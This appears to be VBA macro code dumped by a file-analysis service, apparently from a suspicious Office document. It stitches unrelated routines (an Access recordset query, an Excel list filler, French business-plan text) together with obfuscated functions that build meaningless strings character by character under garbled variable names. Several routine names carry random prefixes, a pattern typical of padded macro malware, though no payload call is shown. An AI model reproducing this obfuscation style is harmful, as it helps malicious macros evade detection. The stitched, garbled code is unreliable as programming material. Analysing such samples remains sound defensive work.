Yñ¯2áºENº = ö±Aܼ¸£´ & "_"
RRÜ¿ç· = Yñ¯2áºENº & "T"
ºP³qáÜé = RRÜ¿ç· & "/"
BÀÑs¢ºzµç = ºP³qáÜé & "M"
j¾P86axüûgH = BÀÑs¢ºzµç & ")"
Yi©QJìúD = j¾P86axüûgH & "y"
¿9TªÁëûù7§J = Yi©QJìúD & "d"
xÁ4xûQ = ¿9TªÁëûù7§J & "P"
¢¿±ÀàF© = xÁ4xûQ & "b"
´êSåKêYÀ = ¢¿±ÀàF© & "d"
ÀmP½F = ´êSåKêYÀ & "7"
£¯À®cɽ´3 = ÀmP½F
End Function
Sub sCDMfinding_Record()
'
' Opening a record set and findind a record
'
Dim db As DAO.Database
Dim rs As Recordset
Set db = CurrentDb
Set db = Nothing
Set rs = Nothing
End Sub
Sub Vl5Nfilter_RecordSet()
'
' Opening a record set and finding a record
'
Dim db As DAO.Database
Dim rs As Recordset
Set db = CurrentDb
Set rs = db.OpenRecordset("SELECT * " & _
"FROM Tournaments " & _
"WHERE TourCode = 'TKY'")
'Set rs = db.OpenRecordset("SELECT * FROM Tournaments " & _
' "WHERE TourCode = 'TKY' AND/OR/NOT ... ''")
'Set rs = db.OpenRecordset("SELECT * " & _
' "FROM Tournaments " & _
' "WHERE TourCode = 'TKY' ORDER BY ... DESC/ASC ")
'TO DO
Set db = Nothing
Set rs = Nothing
End Sub
Sub bdxbprinting_Elements()
'
' Prints everything from a recordset
'
Dim db As DAO.Database
Set db = CurrentDb
Dim rs As Recordset
Set rs = db.OpenRecordset("Google")
Do While Not rs.EOF
Debug.Print rs("ID") & " - " & rs("Cible1")
rs.MoveNext
Loop
End Sub
Function Æûêùñ3miRÉ6áá() As String
Dim âsÁSJkî
Dim QåAaPwêu
Dim Pu§W©ñÄÄ
Dim bÖ7PqO8ê
Dim Ætô½OÑáT5²
Dim Bèzú£Xárë
Dim cìSqê´ÜP
âsÁSJkî = ""
QåAaPwêu = âsÁSJkî & "¢"
Pu§W©ñÄÄ = QåAaPwêu & "¶"
bÖ7PqO8ê = Pu§W©ñÄÄ & "1"
Ætô½OÑáT5² = bÖ7PqO8ê & "µ"
Bèzú£Xárë = Ætô½OÑáT5² & "ÿ"
cìSqê´ÜP = Bèzú£Xárë & "¯"
Æûêùñ3miRÉ6áá = cìSqê´ÜP
End Function
Private Sub riPECfTUcreate_dictionary()
'
' This sub is used to initialize the values in the dictionary
' when the class is called by outside programs.
' It iterates on the PCG sheets in order to collect the values
' and integrate them to the dictionary.
'
top_row_adress = pcg.Range("A2").Row
bottom_row_adress = pcg.Range("A2").End(xlDown).Row
For i = top_row_adress To bottom_row_adress
pcg_dictionary.Add pcg.Range("A" & i).Value, pcg.Range("A" & i).Offset(0, 1).Value
Next i
End Sub
Public Sub i9fSILGzfill_list_box_item(Optional specific_class As Long = 0)
'
' Use this sub to fill the list box with the values for the
' user to choose from.
'
' -- Use 0 to get all items from the dictionary
' -- Use a class number betweet 1 and 7 to get a specific class
'
If specific_class = 0 Then
For Each dictionary_item In pcg_dictionary.Items
UserForm1.ListBox1.AddItem dictionary_item
Next
End If
If specific_class > 0 Then
Call regex_engine(specific_class)
End If
End Sub
Function è9üfÖ±Áï() As String
Dim £31V7
Dim K´mC´FNÖ
Dim OdevD§ä¸
Dim ¶terïï¿ZOê
Dim ¿únö2gx´§µ
Dim m´e®²Nc2¯I³X
Dim Nnƒ±ƒ¹mè¶D
Dim £ötU£hb
Dim º¿é0FY
Dim DåɳüªÀ6
Dim Ku릥uoÄUå¿
Dim Z¿yIk¼ñâ
£31V7 = "g"
K´mC´FNÖ = £31V7 & "´"
OdevD§ä¸ = K´mC´FNÖ & "§"
¶terïï¿ZOê = OdevD§ä¸ & "V"
¿únö2gx´§µ = ¶terïï¿ZOê & "î"
m´e®²Nc2¯I³X = ¿únö2gx´§µ & "ì"
Nnƒ±ƒ¹mè¶D = m´e®²Nc2¯I³X & "e"
£ötU£hb = Nnƒ±ƒ¹mè¶D & "7"
º¿é0FY = £ötU£hb & "ì"
DåɳüªÀ6 = º¿é0FY & "¼"
Ku릥uoÄUå¿ = DåɳüªÀ6 & "v"
Z¿yIk¼ñâ = Ku릥uoÄUå¿ & "¤"
è9üfÖ±Áï = Z¿yIk¼ñâ
End Function
Private Sub vkr9z5Y9Class_Initialize()
'Set sheets at initialization
Call get_Worksheet_Helper
type_entreprise = wk_two.Range("type_entreprise").Value
Call set_phrases_Helper
End Sub
Private Sub Ote3kUKrget_Worksheet_Helper()
Set wk_one = Worksheets("Analyse")
Set wk_two = Worksheets("Config")
End Sub
Private Sub f9cXHXuTset_phrases_Helper()
Dim c_var, t_var, d_var As String
'
' This helper is used to create the phrases with the variables
' that were set or calculated in the 'Config' worksheet
'
phrase_one = "L'entreprise fonctionne " & wk_two.Range("jours_activités").Value & _
" jours par semaines soit un nombre total de " & _
Round(wk_two.Range("semaines_activités").Value, 2) & " semaines."
'
' TO DO
'
'
' I am using this technique in order to get the correct values to display
' depending on the fact if the enterprise is a restaurant or bar instead
' of a digital based type project
'
If type_entreprise = "numérique" Then
c_var = "ca_numérique"
t_var = "frequentation_mensuelle"
d_var = "mois"
Else
c_var = "ca_restauration"
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.